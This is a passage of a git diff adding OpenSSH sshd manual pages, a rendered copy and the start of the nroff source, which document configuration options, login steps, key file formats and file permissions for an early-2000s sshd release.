``ghost'' users and consuming server resources. + + The default is ``yes'' (to send keepalives), and the server will + notice if the network goes down or the client host reboots. This + avoids infinitely hanging sessions. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication is allowed. This can + be in the form of a Kerberos ticket, or if PasswordAuthentication + is yes, the password provided by the user will be validated + through the Kerberos KDC. To use this option, the server needs a + Kerberos servtab which allows the verification of the KDC's idenM-- + tity. Default is ``yes''. + + KerberosOrLocalPasswd + If set then if password authentication through Kerberos fails + then the password will be validated via any additional local + mechanism such as /etc/passwd. Default is ``yes''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT may be forwarded to the server. + Default is ``no'', as this only works when the Kerberos KDC is + + + actually an AFS kaserver. + + KerberosTicketCleanup + Specifies whether to automatically destroy the user's ticket + cache file on logout. Default is ``yes''. + + KeyRegenerationInterval + In protocol version 1, the ephemeral server key is automatically + regenerated after this many seconds (if it has been used). The + purpose of regeneration is to prevent decrypting captured sesM-- + sions by later breaking into the machine and stealing the keys. + The key is never stored anywhere. If the value is 0, the key is + never regenerated. The default is 3600 (seconds). + + ListenAddress + Specifies the local addresses sshd should listen on. The followM-- + ing forms may be used: + + ListenAddress host|IPv4_addr|IPv6_addr + ListenAddress host|IPv4_addr:port + ListenAddress [host|IPv6_addr]:port + + If port is not specified, sshd will listen on the address and all + prior Port options specified. The default is to listen on all loM-- + cal addresses. Multiple ListenAddress options are permitted. AdM-- + ditionally, any Port options must precede this option for non + port qualified addresses. + + LoginGraceTime + The server disconnects after this time if the user has not sucM-- + cessfully logged in. If the value is 0, there is no time limit. + The default is 600 (seconds). + + LogLevel + Gives the verbosity level that is used when logging messages from + sshd. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. Logging with level DEBUG vioM-- + lates the privacy of users and is not recommended. + + MACs Specifies the available MAC (message authentication code) algoM-- + rithms. The MAC algorithm is used in protocol version 2 for data + integrity protection. Multiple algorithms must be comma-separatM-- + ed. The default is + + ``hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com, + hmac-sha1-96,hmac-md5-96'' + + MaxStartups + Specifies the maximum number of concurrent unauthenticated conM-- + nections to the sshd daemon. Additional connections will be + dropped until authentication succeeds or the LoginGraceTime exM-- + pires for a connection. The default is 10. + + Alternatively, random early drop can be enabled by specifying the + three colon separated values ``start:rate:full'' (e.g., + "10:30:60"). sshd will refuse connection attempts with a probaM-- + bility of ``rate/100'' (30%) if there are currently ``start'' + (10) unauthenticated connections. The probability increases linM-- + early and all connection attempts are refused if the number of + unauthenticated connections reaches ``full'' (60). + + PAMAuthenticationViaKbdInt + Specifies whether PAM challenge response authentication is alM-- + lowed. This allows the use of most PAM challenge response authenM-- + tication modules, but it will allow password authentication reM-- + gardless of whether PasswordAuthentication is disabled. The deM-- + + fault is ``no''. + + PasswordAuthentication + Specifies whether password authentication is allowed. The deM-- + fault is ``yes''. + + PermitEmptyPasswords + When password authentication is allowed, it specifies whether the + server allows login to accounts with empty password strings. The + default is ``no''. + + PermitRootLogin + Specifies whether root can login using ssh(1). The argument must + be ``yes'', ``without-password'', ``forced-commands-only'' or + ``no''. The default is ``yes''. + + If this option is set to ``without-password'' password authentiM-- + cation is disabled for root. + + If this option is set to ``forced-commands-only'' root login with + public key authentication will be allowed, but only if the + command option has been specified (which may be useful for taking + remote backups even if root login is normally not allowed). All + other authentication methods are disabled for root. + + If this option is set to ``no'' root is not allowed to login. + + PidFile + Specifies the file that contains the process identifier of the + sshd daemon. The default is /var/run/sshd.pid. + + Port Specifies the port number that sshd listens on. The default is + 22. Multiple options of this type are permitted. See also + ListenAddress. + + PrintLastLog + Specifies whether sshd should print the date and time when the + user last logged in. The default is ``yes''. + + PrintMotd + Specifies whether sshd should print /etc/motd when a user logs in + interactively. (On some systems it is also printed by the shell, + /etc/profile, or equivalent.) The default is ``yes''. + + Protocol + Specifies the protocol versions sshd should support. The possiM-- + ble values are ``1'' and ``2''. Multiple versions must be comma- + separated. The default is ``2,1''. + + PubkeyAuthentication + Specifies whether public key authentication is allowed. The deM-- + fault is ``yes''. Note that this option applies to protocol verM-- + sion 2 only. + + ReverseMappingCheck + Specifies whether sshd should try to verify the remote host name + and check that the resolved host name for the remote IP address + maps back to the very same IP address. The default is ``no''. + + RhostsAuthentication + Specifies whether authentication using rhosts or /etc/hosts.equiv + files is sufficient. Normally, this method should not be permitM-- + ted because it is insecure. RhostsRSAAuthentication should be + used instead, because it performs RSA-based host authentication + in addition to normal rhosts or /etc/hosts.equiv authentication. + The default is ``no''. This option applies to protocol version 1 + only. + + RhostsRSAAuthentication + Specifies whether rhosts or /etc/hosts.equiv authentication toM-- + gether with successful RSA host authentication is allowed. The + default is ``no''. This option applies to protocol version 1 onM-- + ly. + + RSAAuthentication + Specifies whether pure RSA authentication is allowed. The deM-- + fault is ``yes''. This option applies to protocol version 1 only. + + ServerKeyBits + Defines the number of bits in the ephemeral protocol version 1 + server key. The minimum value is 512, and the default is 768. + + StrictModes + Specifies whether sshd should check file modes and ownership of + the user's files and home directory before accepting login. This + is normally desirable because novices sometimes accidentally + leave their directory or files world-writable. The default is + ``yes''. + + Subsystem + Configures an external subsystem (e.g., file transfer daemon). + Arguments should be a subsystem name and a command to execute upM-- + on subsystem request. The command sftp-server(8) implements the + ``sftp'' file transfer subsystem. By default no subsystems are + defined. Note that this option applies to protocol version 2 onM-- + ly. + + SyslogFacility + Gives the facility code that is used when logging messages from + sshd. The possible values are: DAEMON, USER, AUTH, LOCAL0, LOM-- + CAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. The deM-- + fault is AUTH. + + UseLogin + Specifies whether login(1) is used for interactive login sesM-- + sions. Note that login(1) is never used for remote command exeM-- + cution. The default is ``no''. + + X11DisplayOffset + Specifies the first display number available for sshd's X11 forM-- + warding. This prevents sshd from interfering with real X11 + servers. The default is 10. + + X11Forwarding + Specifies whether X11 forwarding is permitted. The default is + ``no''. Note that disabling X11 forwarding does not improve secuM-- + rity in any way, as users can always install their own forM-- + warders. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +LOGIN PROCESS + When a user successfully logs in, sshd does the following: + + 1. If the login is on a tty, and no command has been specified, + prints last login time and /etc/motd (unless prevented in the + configuration file or by $HOME/.hushlogin; see the FILES secM-- + + + tion). + + 2. If the login is on a tty, records login time. + + 3. Checks /etc/nologin; if it exists, prints contents and quits + (unless root). + + 4. Changes to run with normal user privileges. + + 5. Sets up basic environment. + + 6. Reads $HOME/.ssh/environment if it exists. + + 7. Changes to user's home directory. + + 8. If $HOME/.ssh/rc exists, runs it; else if /etc/sshrc exists, + runs it; otherwise runs xauth. The ``rc'' files are given the + X11 authentication protocol and cookie in standard input. + + 9. Runs user's shell or command. + +AUTHORIZED_KEYS FILE FORMAT + The $HOME/.ssh/authorized_keys file lists the RSA keys that are permitted + for RSA authentication in protocol version 1 Similarly, the + $HOME/.ssh/authorized_keys2 file lists the DSA and RSA keys that are perM-- + mitted for public key authentication (PubkeyAuthentication) in protocol + version 2. + + Each line of the file contains one key (empty lines and lines starting + with a `#' are ignored as comments). Each RSA public key consists of the + following fields, separated by spaces: options, bits, exponent, modulus, + comment. Each protocol version 2 public key consists of: options, keyM-- + type, base64 encoded key, comment. The options fields are optional; its + presence is determined by whether the line starts with a number or not + (the option field never starts with a number). The bits, exponent, moduM-- + lus and comment fields give the RSA key for protocol version 1; the comM-- + ment field is not used for anything (but may be convenient for the user + to identify the key). For protocol version 2 the keytype is ``ssh-dss'' + or ``ssh-rsa''. + + Note that lines in this file are usually several hundred bytes long (beM-- + cause of the size of the RSA key modulus). You don't want to type them + in; instead, copy the identity.pub, id_dsa.pub or the id_rsa.pub file and + edit it. + + The options (if present) consist of comma-separated option specificaM-- + tions. No spaces are permitted, except within double quotes. The folM-- + lowing option specifications are supported: + + from="pattern-list" + Specifies that in addition to RSA authentication, the canonical + name of the remote host must be present in the comma-separated + list of patterns (`*' and `?' serve as wildcards). The list may + also contain patterns negated by prefixing them with `!'; if the + canonical host name matches a negated pattern, the key is not acM-- + cepted. The purpose of this option is to optionally increase seM-- + curity: RSA authentication by itself does not trust the network + or name servers or anything (but the key); however, if somebody + somehow steals the key, the key permits an intruder to log in + from anywhere in the world. This additional option makes using a + stolen key more difficult (name servers and/or routers would have + to be compromised in addition to just the key). + + command="command" + Specifies that the command is executed whenever this key is used + for authentication. The command supplied by the user (if any) is + ignored. The command is run on a pty if the connection requests + a pty; otherwise it is run without a tty. Note that if you want + a 8-bit clean channel, you must not request a pty or should specM-- + ify no-pty. A quote may be included in the command by quoting it + with a backslash. This option might be useful to restrict cerM-- + tain RSA keys to perform just a specific operation. An example + might be a key that permits remote backups but nothing else. + Note that the client may specify TCP/IP and/or X11 forwarding unM-- + less they are explicitly prohibited. + + environment="NAME=value" + Specifies that the string is to be added to the environment when + logging in using this key. Environment variables set this way + override other default environment values. Multiple options of + this type are permitted. + + no-port-forwarding + Forbids TCP/IP forwarding when this key is used for authenticaM-- + tion. Any port forward requests by the client will return an erM-- + ror. This might be used, e.g., in connection with the command + option. + + no-X11-forwarding + Forbids X11 forwarding when this key is used for authentication. + Any X11 forward requests by the client will return an error. + + no-agent-forwarding + Forbids authentication agent forwarding when this key is used for + authentication. + + no-pty Prevents tty allocation (a request to allocate a pty will fail). + + permitopen="host:port" + Limit local ``ssh -L'' port forwarding such that it may only conM-- + nect to the specified host and port. Multiple permitopen options + may be applied separated by commas. No pattern matching is perM-- + formed on the specified hostnames, they must be literal domains + or addresses. + + Examples + 1024 33 12121...312314325 ylo@foo.bar + + from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23...2334 ylo@niksula + + command="dump /home",no-pty,no-port-forwarding 1024 33 23...2323 backM-- + up.hut.fi + + permitopen="10.2.1.55:80",permitopen="10.2.1.56:25" 1024 33 23...2323 + +SSH_KNOWN_HOSTS FILE FORMAT + The /etc/ssh_known_hosts, /etc/ssh_known_hosts2, $HOME/.ssh/known_hosts, + and $HOME/.ssh/known_hosts2 files contain host public keys for all known + hosts. The global file should be prepared by the administrator (optionM-- + al), and the per-user file is maintained automatically: whenever the user + connects from an unknown host its key is added to the per-user file. + + Each line in these files contains the following fields: hostnames, bits, + exponent, modulus, comment. The fields are separated by spaces. + + Hostnames is a comma-separated list of patterns ('*' and '?' act as wildM-- + cards); each pattern in turn is matched against the canonical host name + (when authenticating a client) or against the user-supplied name (when + authenticating a server). A pattern may also be preceded by `!' to indiM-- + cate negation: if the host name matches a negated pattern, it is not acM-- + cepted (by that line) even if it matched another pattern on the line. + + + Bits, exponent, and modulus are taken directly from the RSA host key; + they can be obtained, e.g., from /etc/ssh_host_key.pub. The optional comM-- + ment field continues to the end of the line, and is not used. + + Lines starting with `#' and empty lines are ignored as comments. + + When performing host authentication, authentication is accepted if any + matching line has the proper key. It is thus permissible (but not recomM-- + mended) to have several lines or different host keys for the same names. + This will inevitably happen when short forms of host names from different + domains are put in the file. It is possible that the files contain conM-- + flicting information; authentication is accepted if valid information can + be found from either file. + + Note that the lines in these files are typically hundreds of characters + long, and you definitely don't want to type in the host keys by hand. + Rather, generate them by a script or by taking /etc/ssh_host_key.pub and + adding the host names at the front. + + Examples + + closenet,...,130.233.208.41 1024 37 159...93 closenet.hut.fi + cvs.openbsd.org,199.185.137.3 ssh-rsa AAAA1234.....= + +FILES + /etc/sshd_config + Contains configuration data for sshd. This file should be + writable by root only, but it is recommended (though not necesM-- + sary) that it be world-readable. + + /etc/ssh_host_key, /etc/ssh_host_dsa_key, /etc/ssh_host_rsa_key + These three files contain the private parts of the host keys. + These files should only be owned by root, readable only by root, + and not accessible to others. Note that sshd does not start if + this file is group/world-accessible. + + /etc/ssh_host_key.pub, /etc/ssh_host_dsa_key.pub, + /etc/ssh_host_rsa_key.pub + These three files contain the public parts of the host keys. + These files should be world-readable but writable only by root. + Their contents should match the respective private parts. These + files are not really used for anything; they are provided for the + convenience of the user so their contents can be copied to known + hosts files. These files are created using ssh-keygen(1). + + /etc/primes + Contains Diffie-Hellman groups used for the "Diffie-Hellman Group + Exchange". + + /var/run/sshd.pid + Contains the process ID of the sshd listening for connections (if + there are several daemons running concurrently for different + ports, this contains the pid of the one started last). The conM-- + tent of this file is not sensitive; it can be world-readable. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used to log into the user's acM-- + count. This file must be readable by root (which may on some maM-- + chines imply it being world-readable if the user's home directory + resides on an NFS volume). It is recommended that it not be acM-- + cessible by others. The format of this file is described above. + Users will place the contents of their identity.pub files into + this file, as described in ssh-keygen(1). + + $HOME/.ssh/authorized_keys2 + Lists the public keys (RSA or DSA) that can be used to log into + the user's account. This file must be readable by root (which + may on some machines imply it being world-readable if the user's + home directory resides on an NFS volume). It is recommended that + it not be accessible by others. The format of this file is deM-- + scribed above. Users will place the contents of their id_dsa.pub + and/or id_rsa.pub files into this file, as described in ssh- + keygen(1). + + /etc/ssh_known_hosts and $HOME/.ssh/known_hosts + These files are consulted when using rhosts with RSA host authenM-- + tication to check the public key of the host. The key must be + listed in one of these files to be accepted. The client uses the + same files to verify that it is connecting to the correct remote + host. These files should be writable only by root/the owner. + /etc/ssh_known_hosts should be world-readable, and + $HOME/.ssh/known_hosts can but need not be world-readable. + + /etc/ssh_known_hosts2 and $HOME/.ssh/known_hosts2 + These files are consulted when using protocol version 2 hostbased + authentication to check the public key of the host. The key must + be listed in one of these files to be accepted. The client uses + the same files to verify that it is connecting to the correct reM-- + mote host. These files should be writable only by root/the ownM-- + er. /etc/ssh_known_hosts2 should be world-readable, and + $HOME/.ssh/known_hosts2 can but need not be world-readable. + + /etc/nologin + If this file exists, sshd refuses to let anyone except root log + in. The contents of the file are displayed to anyone trying to + log in, and non-root connections are refused. The file should be + world-readable. + + /etc/hosts.allow, /etc/hosts.deny + If compiled with LIBWRAP support, tcp-wrappers access controls + may be defined here as described in hosts_access(5). + + $HOME/.rhosts + This file contains host-username pairs, separated by a space, one + per line. The given user on the corresponding host is permitted + to log in without password. The same file is used by rlogind and + rshd. The file must be writable only by the user; it is recomM-- + mended that it not be accessible by others. + + If is also possible to use netgroups in the file. Either host or + user name may be of the form +@groupname to specify all hosts or + all users in the group. + + $HOME/.shosts + For ssh, this file is exactly the same as for .rhosts. However, + this file is not used by rlogin and rshd, so using this permits + access using SSH only. + + /etc/hosts.equiv + This file is used during .rhosts authentication. In the simplest + form, this file contains host names, one per line. Users on + those hosts are permitted to log in without a password, provided + they have the same user name on both machines. The host name may + also be followed by a user name; such users are permitted to log + in as any user on this machine (except root). Additionally, the + syntax ``+@group'' can be used to specify netgroups. Negated enM-- + tries start with `-'. + + If the client host/user is successfully matched in this file, loM-- + gin is automatically permitted provided the client and server usM-- + er names are the same. Additionally, successful RSA host authenM-- + tication is normally required. This file must be writable only + by root; it is recommended that it be world-readable. + + Warning: It is almost never a good idea to use user names in + hosts.equiv. Beware that it really means that the named user(s) + can log in as anybody, which includes bin, daemon, adm, and other + accounts that own critical binaries and directories. Using a usM-- + er name practically grants the user root access. The only valid + use for user names that I can think of is in negative entries. + + Note that this warning also applies to rsh/rlogin. + + /etc/shosts.equiv + This is processed exactly as /etc/hosts.equiv. However, this file + may be useful in environments that want to run both rsh/rlogin + and ssh. + + $HOME/.ssh/environment + This file is read into the environment at login (if it exists). + It can only contain empty lines, comment lines (that start with + `#'), and assignment lines of the form name=value. The file + should be writable only by the user; it need not be readable by + anyone else. + + $HOME/.ssh/rc + If this file exists, it is run with /bin/sh after reading the enM-- + vironment files but before starting the user's shell or command. + If X11 spoofing is in use, this will receive the "proto cookie" + pair in standard input (and DISPLAY in environment). This must + call xauth(1) in that case. + + The primary purpose of this file is to run any initialization + routines which may be needed before the user's home directory beM-- + comes accessible; AFS is a particular example of such an environM-- + ment. + + This file will probably contain some initialization code followed + by something similar to: + + if read proto cookie; then + echo add $DISPLAY $proto $cookie | xauth -q - + fi + + If this file does not exist, /etc/sshrc is run, and if that does + not exist either, xauth is used to store the cookie. + + This file should be writable only by the user, and need not be + readable by anyone else. + + /etc/sshrc + Like $HOME/.ssh/rc. This can be used to specify machine-specific + login-time initializations globally. This file should be + writable only by root, and should be world-readable. + +AUTHORS + OpenSSH is a derivative of the original and free ssh 1.2.12 release by + Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo + de Raadt and Dug Song removed many bugs, re-added newer features and creM-- + ated OpenSSH. Markus Friedl contributed the support for SSH protocol + versions 1.5 and 2.0. + +SEE ALSO + scp(1), sftp(1), sftp-server(8), ssh(1), ssh-add(1), ssh-agent(1), + ssh-keygen(1), rlogin(1), rsh(1) + + + T. Ylonen, T. Kivinen, M. Saarinen, T. Rinne, and S. Lehtinen, SSH + Protocol Architecture, draft-ietf-secsh-architecture-07.txt, January + 2001, work in progress material. + + M. Friedl, N. Provos, and W. A. Simpson, Diffie-Hellman Group Exchange + for the SSH Transport Layer Protocol, draft-ietf-secsh-dh-group- + exchange-00.txt, January 2001, work in progress material. + +BSD Experimental September 25, 1999 14 diff --git a/other/ssharp/sshd.8 b/other/ssharp/sshd.8 new file mode 100644 index 0000000..5672339 --- /dev/null +++ b/other/ssharp/sshd.8 @@ -0,0 +1,1258 @@ +.\" -*- nroff -*- +.\" +.\" Author: Tatu Ylonen +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" As far as I am concerned, the code I have written for this software +.\" can be used freely for any purpose. Any derived versions of this +.\" software must be clearly marked as such, and if the derived work is +.\" incompatible with the protocol description in the RFC file, it must be +.\" called by a name other than "ssh" or "Secure Shell". +.\" +.\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. +.\" Copyright (c) 1999 Aaron Campbell. All rights reserved. +.\" Copyright (c) 1999 Theo de Raadt. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.\" $OpenBSD: sshd.8,v 1.120 2001/04/22 23:58:36 markus Exp $ +.Dd September 25, 1999 +.Dt SSHD 8 +.Os +.Sh NAME +.Nm sshd +.Nd OpenSSH SSH daemon +.Sh SYNOPSIS +.Nm sshd +.Op Fl deiqD46 +.Op Fl b Ar bits +.Op Fl f Ar config_file +.Op Fl g Ar login_grace_time +.Op Fl h Ar host_key_file +.Op Fl k Ar key_gen_time +.Op Fl p Ar port +.Op Fl u Ar len +.Op Fl V Ar client_protocol_id +.Sh DESCRIPTION +.Nm +(SSH Daemon) is the daemon program for +.Xr ssh 1 . +Together these programs replace rlogin and rsh, and +provide secure encrypted communications between two untrusted hosts +over an insecure network. +The programs are intended to be as easy to +install and use as possible. +.Pp +.Nm +is the daemon that listens for connections from clients. +It is normally started at boot from +.Pa /etc/rc . +It forks a new +daemon for each incoming connection. +The forked daemons handle +key exchange, encryption, authentication, command execution, +and data exchange. +This implementation of +.Nm +supports both SSH protocol version 1 and 2 simultaneously. +.Nm +works as follows. +.Pp +.Ss SSH protocol version 1 +.Pp +Each host has a host-specific RSA key +(normally 1024 bits) used to identify the host. +Additionally, when +the daemon starts, it generates a server RSA key (normally 768 bits). +This key is normally regenerated every hour if it has been used, and +is never stored on disk. +.Pp +Whenever a client connects the daemon responds with its public +host and server keys. +The client compares the +RSA host key against its own database to verify that it has not changed. +The client then generates a 256 bit random number. +It encrypts this +random number using both the host key and the server key, and sends +the encrypted number to the server. +Both sides then use this +random number as a session key which is used to encrypt all further +communications in the session. +The rest of the session is encrypted +using a conventional cipher, currently Blowfish or 3DES, with 3DES +being used by default. +The client selects the encryption algorithm +to use from those offered by the server. +.Pp +Next, the server and the client enter an authentication dialog. +The client tries to authenticate itself using +.Pa .rhosts +authentication, +.Pa .rhosts +authentication combined with RSA host +authentication, RSA challenge-response authentication, or password +based authentication. +.Pp +Rhosts authentication is normally disabled +because it is fundamentally insecure, but can be enabled in the server +configuration file if desired. +System security is not improved unless +.Xr rshd 8 , +.Xr rlogind 8 , +.Xr rexecd 8 , +and +.Xr rexd 8 +are disabled (thus completely disabling +.Xr rlogin 1 +and +.Xr rsh 1 +into the machine). +.Pp +.Ss SSH protocol version 2 +.Pp +Version 2 works similarly: +Each host has a host-specific DSA key used to identify the host. +However, when the daemon starts, it does not generate a server key. +Forward security is provided through a Diffie-Hellman key agreement. +This key agreement results in a shared session key. +.Pp +The rest of the session is encrypted using a symmetric cipher, currently +128 bit AES, Blowfish, 3DES, CAST128, Arcfour, 192 bit AES, or 256 bit AES. +The client selects the encryption algorithm +to use from those offered by the server. +Additionally, session integrity is provided +through a cryptographic message authentication code +(hmac-sha1 or hmac-md5). +.Pp +Protocol version 2 provides a public key based +user (PubkeyAuthentication) or +client host (HostbasedAuthentication) authentication method, +conventional password authentication and challenge response based methods. +.Pp +.Ss Command execution and data forwarding +.Pp +If the client successfully authenticates itself, a dialog for +preparing the session is entered. +At this time the client may request +things like allocating a pseudo-tty, forwarding X11 connections, +forwarding TCP/IP connections, or forwarding the authentication agent +connection over the secure channel. +.Pp +Finally, the client either requests a shell or execution of a command. +The sides then enter session mode. +In this mode, either side may send +data at any time, and such data is forwarded to/from the shell or +command on the server side, and the user terminal in the client side. +.Pp +When the user program terminates and all forwarded X11 and other +connections have been closed, the server sends command exit status to +the client, and both sides exit. +.Pp +.Nm +can be configured using command-line options or a configuration +file. +Command-line options override values specified in the +configuration file. +.Pp +.Nm +rereads its configuration file when it receives a hangup signal, +.Dv SIGHUP , +by executing itself with the name it was started as, ie. +.Pa /usr/sbin/sshd . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the ephemeral protocol version 1 +server key (default 768). +.Pp +.It Fl d +Debug mode. +The server sends verbose debug output to the system +log, and does not put itself in the background. +The server also will not fork and will only process one connection. +This option is only intended for debugging for the server. +Multiple -d options increase the debugging level. +Maximum is 3. +.It Fl e +When this option is specified, +.Nm +will send the output to the standard error instead of the system log. +.It Fl f Ar configuration_file +Specifies the name of the configuration file. +The default is +.Pa /etc/sshd_config . +.Nm +refuses to start if there is no configuration file. +.It Fl g Ar login_grace_time +Gives the grace time for clients to authenticate themselves (default +600 seconds). +If the client fails to authenticate the user within +this many seconds, the server disconnects and exits. +A value of zero indicates no limit. +.It Fl h Ar host_key_file +Specifies the file from which the host key is read (default +.Pa /etc/ssh_host_key ) . +This option must be given if +.Nm +is not run as root (as the normal +host file is normally not readable by anyone but root). +It is possible to have multiple host key files for +the different protocol versions and host key algorithms. +.It Fl i +Specifies that +.Nm +is being run from inetd. +.Nm +is normally not run +from inetd because it needs to generate the server key before it can +respond to the client, and this may take tens of seconds. +Clients would have to wait too long if the key was regenerated every time. +However, with small key sizes (e.g., 512) using +.Nm +from inetd may +be feasible. +.It Fl k Ar key_gen_time +Specifies how often the ephemeral protocol version 1 server key is +regenerated (default 3600 seconds, or one hour). +The motivation for regenerating the key fairly +often is that the key is not stored anywhere, and after about an hour, +it becomes impossible to recover the key for decrypting intercepted +communications even if the machine is cracked into or physically +seized. +A value of zero indicates that the key will never be regenerated. +.It Fl p Ar port +Specifies the port on which the server listens for connections +(default 22). +.It Fl q +Quiet mode. +Nothing is sent to the system log. +Normally the beginning, +authentication, and termination of each connection is logged. +.It Fl u Ar len +This option is used to specify the size of the field +in the +.Li utmp +structure that holds the remote host name. +If the resolved host name is longer than +.Ar len , +the dotted decimal value will be used instead. +This allows hosts with very long host names that +overflow this field to still be uniquely identified. +Specifying +.Fl u0 +indicates that only dotted decimal addresses +should be put into the +.Pa utmp +file. +.It Fl D +When this option is specified +.Nm +will not detach and does not become a daemon. +This allows easy monitoring of +.Nm sshd . +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILE +.Nm +reads configuration data from +.Pa /etc/sshd_config +(or the file specified with +.Fl f +on the command line). +The file contains keyword-value pairs, one per line. +Lines starting with +.Ql # +and empty lines are interpreted as comments. +.Pp +The following keywords are possible. +.Bl -tag -width Ds +.It Cm AFSTokenPassing +Specifies whether an AFS token may be forwarded to the server. +Default is +.Dq yes . +.It Cm AllowGroups +This keyword can be followed by a list of group names, separated +by spaces. +If specified, login is allowed only for users whose primary +group or supplementary group list matches one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid; a numerical group ID isn't recognized. +By default login is allowed regardless of the group list. +.Pp +.It Cm AllowTcpForwarding +Specifies whether TCP forwarding is permitted. +The default is +.Dq yes . +Note that disabling TCP forwarding does not improve security unless +users are also denied shell access, as they can always install their +own forwarders. +.Pp +.It Cm AllowUsers +This keyword can be followed by a list of user names, separated +by spaces. +If specified, login is allowed only for users names that +match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only user names are valid; a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.Pp +.It Cm Banner +In some jurisdictions, sending a warning message before authentication +may be relevant for getting legal protection. +The contents of the specified file are sent to the remote user before +authentication is allowed. +This option is only available for protocol version 2. +.Pp +.It Cm ChallengeResponseAuthentication +Specifies whether +challenge response +authentication is allowed. +Currently there is only support for +.Xr skey 1 +authentication. +The default is +.Dq yes . +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2. +Multiple ciphers must be comma-separated. +The default is +.Dq aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour. +.It Cm CheckMail +Specifies whether +.Nm +should check for new mail for interactive logins. +The default is +.Dq no . +.It Cm ClientAliveInterval +Sets a timeout interval in seconds after which if no data has been received +from the client, +.Nm +will send a message through the encrypted +channel to request a response from the client. +The default +is 0, indicating that these messages will not be sent to the client. +This option applies to protocol version 2 only. +.It Cm ClientAliveCountMax +Sets the number of client alive messages (see above) which may be +sent without +.Nm +receiving any messages back from the client. If this threshold is +reached while client alive messages are being sent, +.Nm +will disconnect the client, terminating the session. It is important +to note that the use of client alive messages is very different from +.Cm Keepalive +(below). The client alive messages are sent through the +encrypted channel and therefore will not be spoofable. The TCP keepalive +option enabled by +.Cm Keepalive +is spoofable. You want to use the client +alive mechanism when you are basing something important on +clients having an active connection to the server. +.Pp +The default value is 3. If you set +.Cm ClientAliveInterval +(above) to 15, and leave this value at the default, unresponsive ssh clients +will be disconnected after approximately 45 seconds. +.It Cm DenyGroups +This keyword can be followed by a number of group names, separated +by spaces. +Users whose primary group or supplementary group list matches +one of the patterns aren't allowed to log in. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid; a numerical group ID isn't recognized. +By default login is allowed regardless of the group list. +.Pp +.It Cm DenyUsers +This keyword can be followed by a number of user names, separated +by spaces. +Login is disallowed for user names that match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as wildcards in the patterns. +Only user names are valid; a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to ports +forwarded for the client. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm HostbasedAuthentication +Specifies whether rhosts or /etc/hosts.equiv authentication together +with successful public key client host authentication is allowed +(hostbased authentication). +This option is similar to +.Cm RhostsRSAAuthentication +and applies to protocol version 2 only. +The default is +.Dq no . +.It Cm HostKey +Specifies the file containing the private host keys (default +.Pa /etc/ssh_host_key ) +used by SSH protocol versions 1 and 2. +Note that +.Nm +will refuse to use a file if it is group/world-accessible. +It is possible to have multiple host key files. +.Dq rsa1 +keys are used for version 1 and +.Dq dsa +or +.Dq rsa +are used for version 2 of the SSH protocol. +.It Cm IgnoreRhosts +Specifies that +.Pa .rhosts +and +.Pa .shosts +files will not be used in +.Cm RhostsAuthentication , +.Cm RhostsRSAAuthentication +or +.Cm HostbasedAuthentication . +.Pp +.Pa /etc/hosts.equiv +and +.Pa /etc/shosts.equiv +are still used. +The default is +.Dq yes . +.It Cm IgnoreUserKnownHosts +Specifies whether +.Nm +should ignore the user's +.Pa $HOME/.ssh/known_hosts +during +.Cm RhostsRSAAuthentication +or +.Cm HostbasedAuthentication . +The default is +.Dq no . +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +On the other hand, if keepalives are not sent, +sessions may hang indefinitely on the server, leaving +.Dq 